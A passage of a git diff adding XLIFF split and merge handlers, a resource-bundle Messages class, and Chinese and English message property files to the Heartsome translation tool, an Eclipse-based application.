String projectPath = seleFiles.get(0).getProject().getFullPath().toOSString(); + for (int i = 1; i < seleFiles.size(); i++) { + if (!projectPath.equals(seleFiles.get(i).getProject().getFullPath().toOSString())) { + MessageDialog.openInformation(shell, Messages.getString("handler.MergeXliffHandler.msgTitle1"), + Messages.getString("handler.MergeXliffHandler.msg3")); + return null; + } + } + SplitOrMergeXlfModel model = new SplitOrMergeXlfModel(); + model.setMergeXliffFile(seleFiles); + MergeXliffWizard wizard = new MergeXliffWizard(model); + TSWizardDialog dialog = new NattableWizardDialog(shell, wizard); + dialog.open(); + } + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/handler/SplitXliffHandler.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/handler/SplitXliffHandler.java new file mode 100644 index 0000000..7d7c970 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/handler/SplitXliffHandler.java @@ -0,0 +1,166 @@ +package net.heartsome.cat.ts.handlexlf.handler; + +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.handlexlf.resource.Messages; +import net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel; +import net.heartsome.cat.ts.handlexlf.wizard.NattableWizardDialog; +import net.heartsome.cat.ts.handlexlf.wizard.SplitXliffWizard; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author robert 2011-10-17 切割Xliff文件 + */ +public class SplitXliffHandler extends AbstractHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(SplitXliffHandler.class); + + public Object execute(ExecutionEvent event) throws ExecutionException { + final String navegatorID = "net.heartsome.cat.common.ui.navigator.view"; + final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + final Shell shell = window.getShell(); + + IFile selectFile = null; + XLIFFEditorImplWithNatTable xliffEditor = null; + List splitXlfPointsIndex = new LinkedList(); + List splitXlfPointsRowId = new LinkedList(); + IWorkbenchPart activePart = HandlerUtil.getActivePart(event); + // 如果是导航视图,那么就获å–导航视图中选中的文件 + if (activePart instanceof IViewPart) { + if (navegatorID.equals(activePart.getSite().getId())) { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .findView(navegatorID); + ISelection currentSelection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + if (currentSelection != null && !currentSelection.isEmpty() + && currentSelection instanceof IStructuredSelection) { + + IStructuredSelection structuredSelection = (IStructuredSelection) currentSelection; + Object object = structuredSelection.getFirstElement(); + if (object instanceof IFile) { + selectFile = (IFile) object; + String fileExtension = selectFile.getFileExtension(); + // 如果åŽç¼€åä¸æ˜¯xlf,那么就退出æ“作 + if (fileExtension == null || !CommonFunction.validXlfExtension(fileExtension)) { + MessageDialog.openInformation(shell, + Messages.getString("handler.SplitXliffHandler.msgTitle"), + Messages.getString("handler.SplitXliffHandler.msg1")); + return null; + } + + FileEditorInput fileInput = new FileEditorInput(selectFile); + + IEditorReference[] editorRefer = window.getActivePage().findEditors(fileInput, XLIFF_EDITOR_ID, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + IEditorPart editorPart = null; + + if (editorRefer.length >= 1) { + editorPart = editorRefer[0].getEditor(true); + xliffEditor = (XLIFFEditorImplWithNatTable) editorPart; + if (window.getActivePage().getActiveEditor() != editorPart) { + window.getActivePage().activate(editorPart); + } + } else { + try { + xliffEditor = (XLIFFEditorImplWithNatTable) window.getActivePage().openEditor( + fileInput, XLIFF_EDITOR_ID, true, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + } catch (PartInitException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } + } else { + MessageDialog.openInformation(shell, + Messages.getString("handler.SplitXliffHandler.msgTitle"), + Messages.getString("handler.SplitXliffHandler.msg1")); + return null; + } + } + } + + } else if (activePart instanceof IEditorPart) { + if (XLIFF_EDITOR_ID.equals(activePart.getSite().getId())) { + xliffEditor = (XLIFFEditorImplWithNatTable) activePart; + selectFile = ((FileEditorInput) xliffEditor.getEditorInput()).getFile(); + } + } + + // æ ¹æ®æ¯ä¸ªtu节点的rowId获å–其具体的ä½ç½®ï¼Œæ‰å¥½è¿›è¡ŒæŽ’åº + Map pointIndexRowIdMap = new HashMap(); + for (String rowId : xliffEditor.getSplitXliffPoints()) { + // 获å–指定tu节点所处其他结点的åºåˆ—å· + int tuPostion = xliffEditor.getXLFHandler().getTUPositionByRowId(rowId); + if (tuPostion >= 1) { + splitXlfPointsIndex.add(tuPostion); + pointIndexRowIdMap.put(tuPostion, rowId); + } + } + + if (splitXlfPointsIndex.size() <= 0) { + MessageDialog.openInformation(shell, + Messages.getString("handler.SplitXliffHandler.msgTitle"), + Messages.getString("handler.SplitXliffHandler.msg2")); + return null; + } + + // 对切割点集åˆè¿›è¡ŒæŽ’åº + for (int i = 0; i < splitXlfPointsIndex.size(); i++) { + int point1 = splitXlfPointsIndex.get(i); + for (int j = i + 1; j < splitXlfPointsIndex.size(); j++) { + int point2 = splitXlfPointsIndex.get(j); + if (point1 > point2) { + splitXlfPointsIndex.set(i, point2); + splitXlfPointsIndex.set(j, point1); + point1 = point2; + } + } + } + // å‘存储rowIdçš„list存放数æ®ï¼Œè¿™æ ·çš„è¯ï¼Œæ‰€å­˜å‚¨çš„rowId就是ç»è¿‡æŽ’åºäº†çš„。 + for (int i = 0; i < splitXlfPointsIndex.size(); i++) { + splitXlfPointsRowId.add(pointIndexRowIdMap.get(splitXlfPointsIndex.get(i))); + } + + SplitOrMergeXlfModel model = new SplitOrMergeXlfModel(); + model.setSplitFile(selectFile); + model.setSplitXlfPointsIndex(splitXlfPointsIndex); + model.setSplitXlfPointsRowId(splitXlfPointsRowId); + model.setXliffEditor(xliffEditor); + model.setShell(shell); + + SplitXliffWizard wizard = new SplitXliffWizard(model); + final TSWizardDialog dialog = new NattableWizardDialog(shell, wizard); + dialog.open(); + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/Messages.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/Messages.java new file mode 100644 index 0000000..f34fb1f --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.handlexlf.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.handlexlf.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message.properties b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message.properties new file mode 100644 index 0000000..1829dad --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message.properties @@ -0,0 +1,61 @@ +handler.MergeXliffHandler.msgTitle1 = \u63d0\u793a +handler.MergeXliffHandler.msg1 = \u8bf7\u9009\u62e9\u81f3\u5c11 2 \u4e2a XLIFF \u6587\u4ef6\u8fdb\u884c\u5408\u5e76\u3002 +handler.MergeXliffHandler.msgTitle2 = \u786e\u8ba4 +handler.MergeXliffHandler.msg2 = \u6240\u9009\u62e9\u7684\u6587\u4ef6 {0} \u540e\u7f00\u540d\u4e0d\u662f .hsxliff\uff0c\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +handler.MergeXliffHandler.msg3 = \u6240\u9009\u62e9\u7684 XLIFF \u6587\u4ef6\u4e0d\u5728\u4e00\u4e2a\u9879\u76ee\u4e2d\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.SplitXliffHandler.msgTitle = \u63d0\u793a +handler.SplitXliffHandler.msg1 = \u6240\u9009\u6587\u4ef6\u4e0d\u662f XLIFF \u6587\u4ef6\uff0c\u65e0\u6cd5\u5206\u5272\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +handler.SplitXliffHandler.msg2 = \u8bf7\u8bbe\u7f6e XLIFF \u6587\u4ef6\u5206\u5272\u70b9\u3002\n\u6253\u5f00 XLIFF \u6587\u4ef6\u540e\uff0c\u9009\u62e9\u9700\u8981\u5206\u5272\u7684\u6587\u672c\u6bb5\uff0c\u70b9\u51fb\u53f3\u952e\u540e\u9009\u62e9\u201cXLIFF \u5206\u5272\u70b9\u201d\u3002 + +splitAndMergeXliff.MergeXliff.task1 = \u5f00\u59cb\u5408\u5e76 XLIFF +splitAndMergeXliff.MergeXliff.task2 = \u5f00\u59cb\u83b7\u53d6 XLIFF \u6587\u4ef6\u7684\u5206\u5272\u4fe1\u606f +splitAndMergeXliff.MergeXliff.msgTitle1 = \u9519\u8bef +splitAndMergeXliff.MergeXliff.msg1 = \u65e0\u6cd5\u8bfb\u53d6\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\u3002 +splitAndMergeXliff.MergeXliff.msgTitle2 = \u63d0\u793a +splitAndMergeXliff.MergeXliff.msg2 = \u6240\u9009\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 XLIFF \u6587\u6863\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +splitAndMergeXliff.MergeXliff.msg3 = \u65e0\u6cd5\u5408\u5e76\u6587\u4ef6\uff0c\u6587\u4ef6 {0} \u6ca1\u6709 XLIFF \u5206\u5272\u4fe1\u606f\u3002 +splitAndMergeXliff.MergeXliff.task3 = \u9a8c\u8bc1\u5206\u5272\u4fe1\u606f +splitAndMergeXliff.MergeXliff.msg4 = \u7f3a\u5c11\u67d0\u4e9b XLIFF \u6587\u4ef6\u6216\u6240\u9009\u62e9\u7684\u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +splitAndMergeXliff.MergeXliff.msg5 = \u7f3a\u5c11\u67d0\u4e9b XLIFF \u6587\u4ef6\uff0c\u65e0\u6cd5\u5408\u5e76\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u5408\u5e76\u7684\u6587\u4ef6\u3002 +splitAndMergeXliff.MergeXliff.msg6 = XLIFF \u6587\u4ef6\u5408\u5e76\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +splitAndMergeXliff.MergeXliff.task4 = \u5f00\u59cb\u5408\u5e76 +splitAndMergeXliff.MergeXliff.msg7 = XLIFF \u6587\u4ef6\u5408\u5e76\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +splitAndMergeXliff.MergeXliff.msg8 = \u6587\u4ef6 {1} \u662f\u7531\u6587\u4ef6 {0} \u5206\u5272\u51fa\u6765\u7684\u6587\u4ef6\uff0c\u8bf7\u6b63\u786e\u9009\u62e9\u8981\u5408\u5e76\u7684\u6587\u4ef6\u3002 +splitAndMergeXliff.MergeXliff.msg9 = \u5728\u6240\u9009\u6587\u4ef6\u7684\u5206\u5272\u4fe1\u606f\u4e2d\u672a\u627e\u5230\u5206\u5272\u524d\u6587\u4ef6\u7684\u4fe1\u606f\uff0c\u65e0\u6cd5\u5206\u5272\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +splitAndMergeXliff.MergeXliff.msg10 = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u6587\u4ef6\u540d\u3002 +splitAndMergeXliff.MergeXliff.dialogTitle = \u63d0\u793a +splitAndMergeXliff.SplitXliff.task1 = \u5f00\u59cb\u5206\u5272\u6587\u4ef6 +splitAndMergeXliff.SplitXliff.msgTitle1 = \u63d0\u793a +splitAndMergeXliff.SplitXliff.msg1 = \u6587\u4ef6{0}\u4e0d\u5b58\u5728 +splitAndMergeXliff.SplitXliff.msgTitle2 = \u786e\u8ba4 +splitAndMergeXliff.SplitXliff.msg2 = \u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +splitAndMergeXliff.SplitXliff.task2 = \u751f\u6210\u5206\u5272\u6587\u4ef6 +splitAndMergeXliff.SplitXliff.msgTitle3 = \u9519\u8bef +splitAndMergeXliff.SplitXliff.msg3 = \u65e0\u6cd5\u5206\u5272 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\u3002 + +wizard.MergeXliffWizard.windowTitle = \u5408\u5e76 XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.title = \u5408\u5e76\u5df2\u5206\u5272\u7684 XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.desc = \u5c06\u4ece\u4e00\u4e2a XLIFF \u5206\u5272\u51fa\u6765\u7684\u591a\u4e2a XLIFF \u6587\u4ef6\u5408\u5e76\u3002 +wizard.MergeXliffWizardPage.xliffDataGroup = XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.columnNames1 = \u5e8f\u53f7 +wizard.MergeXliffWizardPage.columnNames2 = XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.addbutton = \u6dfb\u52a0(&A) +wizard.MergeXliffWizardPage.dialogMsg = \u8bf7\u9009\u62e9\u8981\u5408\u5e76\u7684 XLIFF \u6587\u4ef6\u3002 +wizard.MergeXliffWizardPage.dialogTitle = \u5408\u5e76 XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.deleteButton = \u79fb\u9664(&R) +wizard.MergeXliffWizardPage.msg1 = \u6587\u4ef6 {0} \u5df2\u7ecf\u6dfb\u52a0\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\u3002 +wizard.MergeXliffWizardPage.msg2 = \u81f3\u5c11\u5e94\u6709 2 \u4e2a\u5f85\u5408\u5e76\u7684 XLIFF \u6587\u4ef6\u3002 +wizard.MergeXliffWizardPage.msg3 = \u7b2c {0} \u4e2a\u6587\u4ef6\uff1a\u65e0\u6cd5\u8bc6\u522b\u6587\u4ef6\u7c7b\u578b\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +wizard.MergeXliffWizardPage.msg4 = \u7b2c {0} \u4e2a\u6587\u4ef6\uff1a\u6587\u4ef6\u7c7b\u578b\u4e0d\u6b63\u786e\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +wizard.SplitXliffWizard.windowTitle = \u5206\u5272 XLIFF \u6587\u4ef6 +wizard.SplitXliffWizardPage.title = \u5c06 XLIFF \u6587\u4ef6\u5206\u5272\u4e3a\u591a\u4e2a\u5c0f\u6587\u4ef6 +wizard.SplitXliffWizardPage.xliffDataGroup = \u5206\u5272 XLIFF \u6587\u4ef6 +wizard.SplitXliffWizardPage.xlfNameLbl = XLIFF \u6587\u4ef6\uff1a +wizard.SplitXliffWizardPage.targetFilsPathLbl = \u5206\u5272\u540e\u5b58\u653e\u5230\uff1a +wizard.SplitXliffWizardPage.columnNames1 = \u5e8f\u53f7 +wizard.SplitXliffWizardPage.columnNames2 = \u5206\u5272\u6587\u4ef6\u540d +wizard.SplitXliffWizardPage.columnNames3 = \u8d77\u59cb\u6587\u672c\u6bb5\u5e8f\u53f7 +wizard.SplitXliffWizardPage.msg = \u6240\u9009\u62e9\u7684\u5f85\u5206\u5272\u6587\u4ef6\u4e0d\u662f\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 + +################################ 2012-11-13 robert \u6dfb\u52a0 ################################ +splitAndMergeXliff.MergeXliff.addTip1 = \u6240\u9009\u5f85\u5408\u5e76\u6587\u4ef6\u4e0d\u662f\u7531\u4e00\u4e2a\u6587\u4ef6\u5206\u5272\u800c\u6765\uff0c\u4e0d\u80fd\u8fdb\u884c\u5408\u5e76\uff0c\u8bf7\u786e\u8ba4\u3002 diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message_en.properties b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message_en.properties new file mode 100644 index 0000000..acd1962 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message_en.properties @@ -0,0 +1,61 @@ +handler.MergeXliffHandler.msgTitle1 = Message +handler.MergeXliffHandler.msg1 = Please select at least two XLIFF files to merge. +handler.MergeXliffHandler.msgTitle2 = Confirm +handler.MergeXliffHandler.msg2 = The selected file {0} extension is not .hsxliff. Are you sure you want to continue? +handler.MergeXliffHandler.msg3 = The selected XLIFF file is not in a project, please select another. +handler.SplitXliffHandler.msgTitle = Message +handler.SplitXliffHandler.msg1 = The selected file is not an XLIFF file and cannot be split, please select another file. +handler.SplitXliffHandler.msg2 = Please set split point for the XLIFF file.\nAfter opening the XLIFF file, select the segment from where you want to split file, right click and select "XLIFF Split Point". + +splitAndMergeXliff.MergeXliff.task1 = Start merging XLIFF files... +splitAndMergeXliff.MergeXliff.task2 = Start reading XLIFF file split information... +splitAndMergeXliff.MergeXliff.msgTitle1 = Error +splitAndMergeXliff.MergeXliff.msg1 = Cannot read files, please try again. +splitAndMergeXliff.MergeXliff.msgTitle2 = Message +splitAndMergeXliff.MergeXliff.msg2 = The selected file is not a valid XLIFF file, please select again. +splitAndMergeXliff.MergeXliff.msg3 = Cannot merge files, there is no split information in the XLIFF file {0} +splitAndMergeXliff.MergeXliff.task3 = Verify split information +splitAndMergeXliff.MergeXliff.msg4 = Some XLIFF files are missing or the selected files contain errors. Merge operation cannot complete. +splitAndMergeXliff.MergeXliff.msg5 = Missing certain XLIFF files, merge operation cannot complete. Please re-select the files to merge. +splitAndMergeXliff.MergeXliff.msg6 = Failed to merge XLIFF files, please try again. +splitAndMergeXliff.MergeXliff.task4 = Start merging +splitAndMergeXliff.MergeXliff.msg7 = Failed to merge XLIFF files, please try again. +splitAndMergeXliff.MergeXliff.msg8 = File {1} has been split from file {0}, please select the appropriate files to merge correctly. +splitAndMergeXliff.MergeXliff.msg9 = XLIFF file information before split was not found in the split information of the selected XLIFF file. Cannot perform split operation. Please re-select the file. +splitAndMergeXliff.MergeXliff.msg10 = The file {0} already exists, please re-enter the file name. +splitAndMergeXliff.MergeXliff.dialogTitle = Message +splitAndMergeXliff.SplitXliff.task1 = Start splitting files +splitAndMergeXliff.SplitXliff.msgTitle1 = Message +splitAndMergeXliff.SplitXliff.msg1 = File {0} does not exist +splitAndMergeXliff.SplitXliff.msgTitle2 = Confirm +splitAndMergeXliff.SplitXliff.msg2 = File {0} already exists. Are you sure you want to overwrite it? +splitAndMergeXliff.SplitXliff.task2 = Generate a split file +splitAndMergeXliff.SplitXliff.msgTitle3 = Error +splitAndMergeXliff.SplitXliff.msg3 = Failed to split XLIFF file, please try again. + +wizard.MergeXliffWizard.windowTitle = Merge XLIFF files +wizard.MergeXliffWizardPage.title = Merge previously split XLIFF files +wizard.MergeXliffWizardPage.desc = Merge several XLIFF files previously split from one XLIFF file. +wizard.MergeXliffWizardPage.xliffDataGroup = XLIFF Files +wizard.MergeXliffWizardPage.columnNames1 = No. +wizard.MergeXliffWizardPage.columnNames2 = XLIFF Files +wizard.MergeXliffWizardPage.addbutton = &Add +wizard.MergeXliffWizardPage.dialogMsg = Please select XLIFF files to merge. +wizard.MergeXliffWizardPage.dialogTitle = Merge XLIFF files +wizard.MergeXliffWizardPage.deleteButton = &Remove +wizard.MergeXliffWizardPage.msg1 = File {0} has already been added, no need to add it again. +wizard.MergeXliffWizardPage.msg2 = At least two XLIFF files are required for merging. +wizard.MergeXliffWizardPage.msg3 = File {0}:Unrecognized file type. Cannot perform merge operation. +wizard.MergeXliffWizardPage.msg4 = File {0}:The file type is not correct. Cannot perform merge operation. +wizard.SplitXliffWizard.windowTitle = Split XLIFF file +wizard.SplitXliffWizardPage.title = Split XLIFF file into multiple small files +wizard.SplitXliffWizardPage.xliffDataGroup = Split XLIFF file +wizard.SplitXliffWizardPage.xlfNameLbl = XLIFF file: +wizard.SplitXliffWizardPage.targetFilsPathLbl = After split, save as: +wizard.SplitXliffWizardPage.columnNames1 = No. +wizard.SplitXliffWizardPage.columnNames2 = File name for split +wizard.SplitXliffWizardPage.columnNames3 = Segment ID for start of split +wizard.SplitXliffWizardPage.msg = Selected file for splitting is not a valid XLIFF file, please select again. + +################################ 2012-11-13 robert \u6dfb\u52a0 ################################ +splitAndMergeXliff.MergeXliff.addTip1 = The selected file has not been split from a file. Please select the appropriate files to merge correctly. diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message_zh.properties b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message_zh.properties new file mode 100644 index 0000000..1829dad --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/resource/message_zh.properties @@ -0,0 +1,61 @@ +handler.MergeXliffHandler.msgTitle1 = \u63d0\u793a +handler.MergeXliffHandler.msg1 = \u8bf7\u9009\u62e9\u81f3\u5c11 2 \u4e2a XLIFF \u6587\u4ef6\u8fdb\u884c\u5408\u5e76\u3002 +handler.MergeXliffHandler.msgTitle2 = \u786e\u8ba4 +handler.MergeXliffHandler.msg2 = \u6240\u9009\u62e9\u7684\u6587\u4ef6 {0} \u540e\u7f00\u540d\u4e0d\u662f .hsxliff\uff0c\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +handler.MergeXliffHandler.msg3 = \u6240\u9009\u62e9\u7684 XLIFF \u6587\u4ef6\u4e0d\u5728\u4e00\u4e2a\u9879\u76ee\u4e2d\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.SplitXliffHandler.msgTitle = \u63d0\u793a +handler.SplitXliffHandler.msg1 = \u6240\u9009\u6587\u4ef6\u4e0d\u662f XLIFF \u6587\u4ef6\uff0c\u65e0\u6cd5\u5206\u5272\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +handler.SplitXliffHandler.msg2 = \u8bf7\u8bbe\u7f6e XLIFF \u6587\u4ef6\u5206\u5272\u70b9\u3002\n\u6253\u5f00 XLIFF \u6587\u4ef6\u540e\uff0c\u9009\u62e9\u9700\u8981\u5206\u5272\u7684\u6587\u672c\u6bb5\uff0c\u70b9\u51fb\u53f3\u952e\u540e\u9009\u62e9\u201cXLIFF \u5206\u5272\u70b9\u201d\u3002 + +splitAndMergeXliff.MergeXliff.task1 = \u5f00\u59cb\u5408\u5e76 XLIFF +splitAndMergeXliff.MergeXliff.task2 = \u5f00\u59cb\u83b7\u53d6 XLIFF \u6587\u4ef6\u7684\u5206\u5272\u4fe1\u606f +splitAndMergeXliff.MergeXliff.msgTitle1 = \u9519\u8bef +splitAndMergeXliff.MergeXliff.msg1 = \u65e0\u6cd5\u8bfb\u53d6\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\u3002 +splitAndMergeXliff.MergeXliff.msgTitle2 = \u63d0\u793a +splitAndMergeXliff.MergeXliff.msg2 = \u6240\u9009\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 XLIFF \u6587\u6863\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +splitAndMergeXliff.MergeXliff.msg3 = \u65e0\u6cd5\u5408\u5e76\u6587\u4ef6\uff0c\u6587\u4ef6 {0} \u6ca1\u6709 XLIFF \u5206\u5272\u4fe1\u606f\u3002 +splitAndMergeXliff.MergeXliff.task3 = \u9a8c\u8bc1\u5206\u5272\u4fe1\u606f +splitAndMergeXliff.MergeXliff.msg4 = \u7f3a\u5c11\u67d0\u4e9b XLIFF \u6587\u4ef6\u6216\u6240\u9009\u62e9\u7684\u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +splitAndMergeXliff.MergeXliff.msg5 = \u7f3a\u5c11\u67d0\u4e9b XLIFF \u6587\u4ef6\uff0c\u65e0\u6cd5\u5408\u5e76\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u5408\u5e76\u7684\u6587\u4ef6\u3002 +splitAndMergeXliff.MergeXliff.msg6 = XLIFF \u6587\u4ef6\u5408\u5e76\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +splitAndMergeXliff.MergeXliff.task4 = \u5f00\u59cb\u5408\u5e76 +splitAndMergeXliff.MergeXliff.msg7 = XLIFF \u6587\u4ef6\u5408\u5e76\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +splitAndMergeXliff.MergeXliff.msg8 = \u6587\u4ef6 {1} \u662f\u7531\u6587\u4ef6 {0} \u5206\u5272\u51fa\u6765\u7684\u6587\u4ef6\uff0c\u8bf7\u6b63\u786e\u9009\u62e9\u8981\u5408\u5e76\u7684\u6587\u4ef6\u3002 +splitAndMergeXliff.MergeXliff.msg9 = \u5728\u6240\u9009\u6587\u4ef6\u7684\u5206\u5272\u4fe1\u606f\u4e2d\u672a\u627e\u5230\u5206\u5272\u524d\u6587\u4ef6\u7684\u4fe1\u606f\uff0c\u65e0\u6cd5\u5206\u5272\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +splitAndMergeXliff.MergeXliff.msg10 = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u6587\u4ef6\u540d\u3002 +splitAndMergeXliff.MergeXliff.dialogTitle = \u63d0\u793a +splitAndMergeXliff.SplitXliff.task1 = \u5f00\u59cb\u5206\u5272\u6587\u4ef6 +splitAndMergeXliff.SplitXliff.msgTitle1 = \u63d0\u793a +splitAndMergeXliff.SplitXliff.msg1 = \u6587\u4ef6{0}\u4e0d\u5b58\u5728 +splitAndMergeXliff.SplitXliff.msgTitle2 = \u786e\u8ba4 +splitAndMergeXliff.SplitXliff.msg2 = \u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +splitAndMergeXliff.SplitXliff.task2 = \u751f\u6210\u5206\u5272\u6587\u4ef6 +splitAndMergeXliff.SplitXliff.msgTitle3 = \u9519\u8bef +splitAndMergeXliff.SplitXliff.msg3 = \u65e0\u6cd5\u5206\u5272 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\u3002 + +wizard.MergeXliffWizard.windowTitle = \u5408\u5e76 XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.title = \u5408\u5e76\u5df2\u5206\u5272\u7684 XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.desc = \u5c06\u4ece\u4e00\u4e2a XLIFF \u5206\u5272\u51fa\u6765\u7684\u591a\u4e2a XLIFF \u6587\u4ef6\u5408\u5e76\u3002 +wizard.MergeXliffWizardPage.xliffDataGroup = XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.columnNames1 = \u5e8f\u53f7 +wizard.MergeXliffWizardPage.columnNames2 = XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.addbutton = \u6dfb\u52a0(&A) +wizard.MergeXliffWizardPage.dialogMsg = \u8bf7\u9009\u62e9\u8981\u5408\u5e76\u7684 XLIFF \u6587\u4ef6\u3002 +wizard.MergeXliffWizardPage.dialogTitle = \u5408\u5e76 XLIFF \u6587\u4ef6 +wizard.MergeXliffWizardPage.deleteButton = \u79fb\u9664(&R) +wizard.MergeXliffWizardPage.msg1 = \u6587\u4ef6 {0} \u5df2\u7ecf\u6dfb\u52a0\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\u3002 +wizard.MergeXliffWizardPage.msg2 = \u81f3\u5c11\u5e94\u6709 2 \u4e2a\u5f85\u5408\u5e76\u7684 XLIFF \u6587\u4ef6\u3002 +wizard.MergeXliffWizardPage.msg3 = \u7b2c {0} \u4e2a\u6587\u4ef6\uff1a\u65e0\u6cd5\u8bc6\u522b\u6587\u4ef6\u7c7b\u578b\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +wizard.MergeXliffWizardPage.msg4 = \u7b2c {0} 